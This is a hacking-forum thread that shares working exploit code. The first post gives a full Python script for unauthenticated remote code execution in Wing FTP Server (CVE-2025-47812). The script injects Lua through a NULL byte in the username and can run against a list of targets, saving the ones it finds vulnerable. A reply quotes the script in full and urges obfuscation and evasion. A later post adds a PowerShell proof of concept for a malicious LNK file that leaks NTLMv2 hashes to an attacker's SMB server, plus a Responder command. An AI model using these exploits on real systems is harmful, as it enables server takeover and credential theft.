Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact

Wing FTP Server 7.4.3 - Unauthenticated Remote Code Execution (RCE) Exploit

Recent public Wing FTP server RCE exploit I thought I'd share for people to learn from or play with.

Description:


Wing FTP Server versions prior to 7.4.4 are vulnerable to an unauthenticated remote code execution (RCE)


flaw (CVE-2025-47812). This vulnerability arises from improper handling of NULL bytes in the 'username'


parameter during login, leading to Lua code injection into session files. These maliciously crafted


session files are subsequently executed when authenticated functionalities (e.g., /dir.html) are accessed,


resulting in arbitrary command execution on the server with elevated privileges (root on Linux, SYSTEM on Windows).


The exploit leverages a discrepancy between the string processing in c_CheckUser() (which truncates at NULL)


and the session creation logic (which uses the full unsanitized username).



Proof-of-Concept (Python):


The provided Python script automates the exploitation process.


It injects a NULL byte followed by Lua code into the username during a POST request to loginok.html.


Upon successful authentication (even anonymous), a UID cookie is returned.


A subsequent GET request to dir.html using this UID cookie triggers the execution of the injected Lua code,


leading to RCE.




Code
import requests
import re
import argparse

[h1]ANSI color codes[/h1]
RED = "\033[91m"
GREEN = "\033[92m"
RESET = "\033[0m"

def print_green(text):
    print(f"{GREEN}{text}{RESET}")

def print_red(text):
    print(f"{RED}{text}{RESET}")

def run_exploit(target_url, command, username="anonymous", verbose=False):
    login_url = f"{target_url}/loginok.html"

    login_headers = {
        "Host": target_url.split('//')[1].split('/')[0],
        "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:139.0) Gecko/20100101 Firefox/139.0",
        "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
        "Accept-Language": "en-US,en;q=0.5",
        "Accept-Encoding": "gzip, deflate, br",
        "Content-Type": "application/x-www-form-urlencoded",
        "Origin": target_url,
        "Connection": "keep-alive",
        "Referer": f"{target_url}/login.html?lang=english",
        "Cookie": "client_lang=english",
        "Upgrade-Insecure-Requests": "1",
        "Priority": "u=0, i"
    }


    from urllib.parse import quote
    encoded_username = quote(username)

    payload = (
        f"username={encoded_username}%00]]%0dlocal+h+%3d+io.popen(\"{command}\")%0dlocal+r+%3d+h%3aread(\"*a\")"
        "%0dh%3aclose()%0dprint(r)%0d--&password="
    )

    if verbose:
        print_green(f"[+] Sending POST request to {login_url} with command: '{command}' and username: '{username}'")

    try:
        login_response = requests.post(login_url, headers=login_headers, data=payload, timeout=10)
        login_response.raise_for_status()
    except requests.exceptions.RequestException as e:
        print_red(f"[-] Error sending POST request to {login_url}: {e}")
        return False

    set_cookie = login_response.headers.get("Set-Cookie", "")
    match = re.search(r'UID=([^;]+)', set_cookie)

    if not match:
        print_red("[-] UID not found in Set-Cookie. Exploit might have failed or response format changed.")
        return False

    uid = match.group(1)
    if verbose:
        print_green(f"[+] UID extracted: {uid}")

    dir_url = f"{target_url}/dir.html"
    dir_headers = {
        "Host": login_headers["Host"],
        "User-Agent": login_headers["User-Agent"],
        "Accept": login_headers["Accept"],
        "Accept-Language": login_headers["Accept-Language"],
        "Accept-Encoding": login_headers["Accept-Encoding"],
        "Connection": "keep-alive",
        "Cookie": f"UID={uid}",
        "Upgrade-Insecure-Requests": "1",
        "Priority": "u=0, i"
    }

    if verbose:
        print_green(f"[+] Sending GET request to {dir_url} with UID: {uid}")

    try:
        dir_response = requests.get(dir_url, headers=dir_headers, timeout=10)
        dir_response.raise_for_status()
    except requests.exceptions.RequestException as e:
        print_red(f"[-] Error sending GET request to {dir_url}: {e}")
        return False

    body = dir_response.text
    clean_output = re.split(r'<\?xml', body)[0].strip()

    if verbose:
        print_green("\n--- Command Output ---")
        print(clean_output)
        print_green("----------------------")
    else:
        if clean_output:
            print_green(f"[+] {target_url} is vulnerable!")
        else:
            print_red(f"[-] {target_url} is NOT vulnerable.")

    return bool(clean_output)

def main():
    parser = argparse.ArgumentParser(description="Exploit script for command injection via login.html.")
    parser.add_argument("-u", "--url", type=str,
                        help="Target URL (e.g., http://192.168.134.130). Required if -f not specified.")
    parser.add_argument("-f", "--file", type=str,
                        help="File containing list of target URLs (one per line).")
    parser.add_argument("-c", "--command", type=str,
                        help="Custom command to execute. Default: whoami. If specified, verbose output is enabled automatically.")
    parser.add_argument("-v", "--verbose", action="store_true",
                        help="Show full command output (verbose mode). Ignored if -c is used since verbose is auto-enabled.")
    parser.add_argument("-o", "--output", type=str,
                        help="File to save vulnerable URLs.")
    parser.add_argument("-U", "--username", type=str, default="anonymous",
                        help="Username to use in the exploit payload. Default: anonymous")

    args = parser.parse_args()

    if not args.url and not args.file:
        parser.error("Either -u/--url or -f/--file must be specified.")

    command_to_use = args.command if args.command else "whoami"
    verbose_mode = True if args.command else args.verbose

    vulnerable_sites = []

    targets = []
    if args.file:
        try:
            with open(args.file, 'r') as f:
                targets = [line.strip() for line in f if line.strip()]
        except Exception as e:
            print_red(f"[-] Could not read target file '{args.file}': {e}")
            return
    else:
        targets = [args.url]

    for target in targets:
        print(f"\n[*] Testing target: {target}")
        is_vulnerable = run_exploit(target, command_to_use, username=args.username, verbose=verbose_mode)
        if is_vulnerable:
            vulnerable_sites.append(target)

    if args.output and vulnerable_sites:
        try:
            with open(args.output, 'w') as out_file:
                for site in vulnerable_sites:
                    out_file.write(site + "\n")
            print_green(f"\n[+] Vulnerable sites saved to: {args.output}")
        except Exception as e:
            print_red(f"[-] Could not write to output file '{args.output}': {e}")

if __name__ == "__main__":
    main()
(Sep 9, 2025 01:23 PM)MadScientist Wrote:  Recent public Wing FTP server RCE exploit I thought I'd share for people to learn from or play with.

Description:


Wing FTP Server versions prior to 7.4.4 are vulnerable to an unauthenticated remote code execution (RCE)


flaw (CVE-2025-47812). This vulnerability arises from improper handling of NULL bytes in the 'username'


parameter during login, leading to Lua code injection into session files. These maliciously crafted


session files are subsequently executed when authenticated functionalities (e.g., /dir.html) are accessed,


resulting in arbitrary command execution on the server with elevated privileges (root on Linux, SYSTEM on Windows).


The exploit leverages a discrepancy between the string processing in c_CheckUser() (which truncates at NULL)


and the session creation logic (which uses the full unsanitized username).



Proof-of-Concept (Python):


The provided Python script automates the exploitation process.


It injects a NULL byte followed by Lua code into the username during a POST request to loginok.html.


Upon successful authentication (even anonymous), a UID cookie is returned.


A subsequent GET request to dir.html using this UID cookie triggers the execution of the injected Lua code,


leading to RCE.




Code
import requests
import re
import argparse

[h1]ANSI color codes[/h1]
RED = "\033[91m"
GREEN = "\033[92m"
RESET = "\033[0m"

def print_green(text):
    print(f"{GREEN}{text}{RESET}")

def print_red(text):
    print(f"{RED}{text}{RESET}")

def run_exploit(target_url, command, username="anonymous", verbose=False):
    login_url = f"{target_url}/loginok.html"

    login_headers = {
        "Host": target_url.split('//')[1].split('/')[0],
        "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:139.0) Gecko/20100101 Firefox/139.0",
        "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
        "Accept-Language": "en-US,en;q=0.5",
        "Accept-Encoding": "gzip, deflate, br",
        "Content-Type": "application/x-www-form-urlencoded",
        "Origin": target_url,
        "Connection": "keep-alive",
        "Referer": f"{target_url}/login.html?lang=english",
        "Cookie": "client_lang=english",
        "Upgrade-Insecure-Requests": "1",
        "Priority": "u=0, i"
    }


    from urllib.parse import quote
    encoded_username = quote(username)

    payload = (
        f"username={encoded_username}%00]]%0dlocal+h+%3d+io.popen(\"{command}\")%0dlocal+r+%3d+h%3aread(\"*a\")"
        "%0dh%3aclose()%0dprint(r)%0d--&password="
    )

    if verbose:
        print_green(f"[+] Sending POST request to {login_url} with command: '{command}' and username: '{username}'")

    try:
        login_response = requests.post(login_url, headers=login_headers, data=payload, timeout=10)
        login_response.raise_for_status()
    except requests.exceptions.RequestException as e:
        print_red(f"[-] Error sending POST request to {login_url}: {e}")
        return False

    set_cookie = login_response.headers.get("Set-Cookie", "")
    match = re.search(r'UID=([^;]+)', set_cookie)

    if not match:
        print_red("[-] UID not found in Set-Cookie. Exploit might have failed or response format changed.")
        return False

    uid = match.group(1)
    if verbose:
        print_green(f"[+] UID extracted: {uid}")

    dir_url = f"{target_url}/dir.html"
    dir_headers = {
        "Host": login_headers["Host"],
        "User-Agent": login_headers["User-Agent"],
        "Accept": login_headers["Accept"],
        "Accept-Language": login_headers["Accept-Language"],
        "Accept-Encoding": login_headers["Accept-Encoding"],
        "Connection": "keep-alive",
        "Cookie": f"UID={uid}",
        "Upgrade-Insecure-Requests": "1",
        "Priority": "u=0, i"
    }

    if verbose:
        print_green(f"[+] Sending GET request to {dir_url} with UID: {uid}")

    try:
        dir_response = requests.get(dir_url, headers=dir_headers, timeout=10)
        dir_response.raise_for_status()
    except requests.exceptions.RequestException as e:
        print_red(f"[-] Error sending GET request to {dir_url}: {e}")
        return False

    body = dir_response.text
    clean_output = re.split(r'<\?xml', body)[0].strip()

    if verbose:
        print_green("\n--- Command Output ---")
        print(clean_output)
        print_green("----------------------")
    else:
        if clean_output:
            print_green(f"[+] {target_url} is vulnerable!")
        else:
            print_red(f"[-] {target_url} is NOT vulnerable.")

    return bool(clean_output)

def main():
    parser = argparse.ArgumentParser(description="Exploit script for command injection via login.html.")
    parser.add_argument("-u", "--url", type=str,
                        help="Target URL (e.g., http://192.168.134.130). Required if -f not specified.")
    parser.add_argument("-f", "--file", type=str,
                        help="File containing list of target URLs (one per line).")
    parser.add_argument("-c", "--command", type=str,
                        help="Custom command to execute. Default: whoami. If specified, verbose output is enabled automatically.")
    parser.add_argument("-v", "--verbose", action="store_true",
                        help="Show full command output (verbose mode). Ignored if -c is used since verbose is auto-enabled.")
    parser.add_argument("-o", "--output", type=str,
                        help="File to save vulnerable URLs.")
    parser.add_argument("-U", "--username", type=str, default="anonymous",
                        help="Username to use in the exploit payload. Default: anonymous")

    args = parser.parse_args()

    if not args.url and not args.file:
        parser.error("Either -u/--url or -f/--file must be specified.")

    command_to_use = args.command if args.command else "whoami"
    verbose_mode = True if args.command else args.verbose

    vulnerable_sites = []

    targets = []
    if args.file:
        try:
            with open(args.file, 'r') as f:
                targets = [line.strip() for line in f if line.strip()]
        except Exception as e:
            print_red(f"[-] Could not read target file '{args.file}': {e}")
            return
    else:
        targets = [args.url]

    for target in targets:
        print(f"\n[*] Testing target: {target}")
        is_vulnerable = run_exploit(target, command_to_use, username=args.username, verbose=verbose_mode)
        if is_vulnerable:
            vulnerable_sites.append(target)

    if args.output and vulnerable_sites:
        try:
            with open(args.output, 'w') as out_file:
                for site in vulnerable_sites:
                    out_file.write(site + "\n")
            print_green(f"\n[+] Vulnerable sites saved to: {args.output}")
        except Exception as e:
            print_red(f"[-] Could not write to output file '{args.output}': {e}")

if __name__ == "__main__":
    main()


Good Script, Some things can be improved.


It is a good functional exploit script but can be made superior in real-world red teaming through increased stealthiness, modularity, and reliability. It can become more flexible and evasive through obfuscation of the Lua payload, inclusion of target verification, and compartmentalization of logic into reusable code segments. It can become more useful in operation and reduce detection danger through better output parsing via regex, the inclusion of a means for proxy support, and concurrent operation implementation. It could then transform from a simple POC script to a scalable and OPSEC-conscious advance tool.
[Image: 9428137.gif]
(Sep 10, 2025 08:36 AM)▄︻デ══━一一一一━ Wrote:  Good Script, Some things can be improved.


It is a good functional exploit script but can be made superior in real-world red teaming through increased stealthiness, modularity, and reliability. It can become more flexible and evasive through obfuscation of the Lua payload, inclusion of target verification, and compartmentalization of logic into reusable code segments. It can become more useful in operation and reduce detection danger through better output parsing via regex, the inclusion of a means for proxy support, and concurrent operation implementation. It could then transform from a simple POC script to a scalable and OPSEC-conscious advance tool.

Exploit Title: Microsoft Windows 10.0.19045 - NTLMv2 Hash Disclosure


Date: 13/08/2025


Exploit Author: Ruben Enkaoua


Author link: https://x.com/RubenLabs, https://github.com/rubenformation


Original Blog: https://cymulate.com/blog/zero-click-one...025-50154/


Vendor Homepage: https://microsoft.com


Software Link: https://www.microsoft.com/en-us/software-download


Version: All versions prior to patch tuesday august 2025


Tested on: Windows 10.0.19045


CVE : CVE-2025-50154


This exploit if for CVE-2025-24054 Patch Bypass




Start a responder with:


responder -I <interface> -v



<#
.SYNOPSIS
Creates a malicious LNK file that triggers SMB NTLMv2-SSP hash disclosure.
This code is for educational and research purposes only.
The author takes no responsibility for any misuse of this code.
.DESCRIPTION
This script generates a .LNK shortcut pointing to a remote
SMB-hosted binary file.
The shortcut uses a default Windows icon (SHELL32.dll) but still
forces Explorer to
fetch the PE icon from the remote binary, triggering authentication.
.PARAMETER path
Local path where the LNK file will be saved (e.g., C:\Users\User\Desktop).
.PARAMETER ip
IP address or hostname of the remote SMB server hosting the binary.
.PARAMETER share
The shared folder on the SMB server where the binary is stored.
.PARAMETER file
The name of the binary file (e.g., payload.exe).
.EXAMPLE
.\poc.ps1 -path "C:\Temp" -ip "192.168.1.10" -share "malware"
-file "payload.exe"

>



param(
[Parameter(Mandatory=$true)]
[string]$path, # -path
[Parameter(Mandatory=$true)]
[string]$ip, # -ip
[Parameter(Mandatory=$true)]
[string]$share, # -share
[Parameter(Mandatory=$true)]
[string]$file # -file
)

Build file paths


$shortcutPath = Join-Path $path "poc.lnk"
$targetPath = "\\$ip\$share\$file"
$iconLocation = "C:\Windows\System32\SHELL32.dll"

Create LNK file


$wShell = New-Object -ComObject WScript.Shell
$shortcut = $wShell.CreateShortcut($shortcutPath)
$shortcut.TargetPath = $targetPath
$shortcut.IconLocation = $iconLocation
$shortcut.Save()

Write-Output "Shortcut created at: $shortcutPath"
Write-Output "Target path: $targetPath"

still my favorite


Possibly Related Threads...
Thread / Author Replies Views Last Post
by Infinity.Oct 13, 2026 02:05 AM 3 282 Oct 13, 2026 02:05 AM
Last Post: eliotjames
by SkilledMasterDec 4, 2025 01:08 PM 7 161 Dec 4, 2025 01:08 PM
Last Post: SkilledMaster
by ElBradleyNov 4, 2025 09:37 PM 2 208 Nov 4, 2025 09:37 PM
Last Post: ElBradley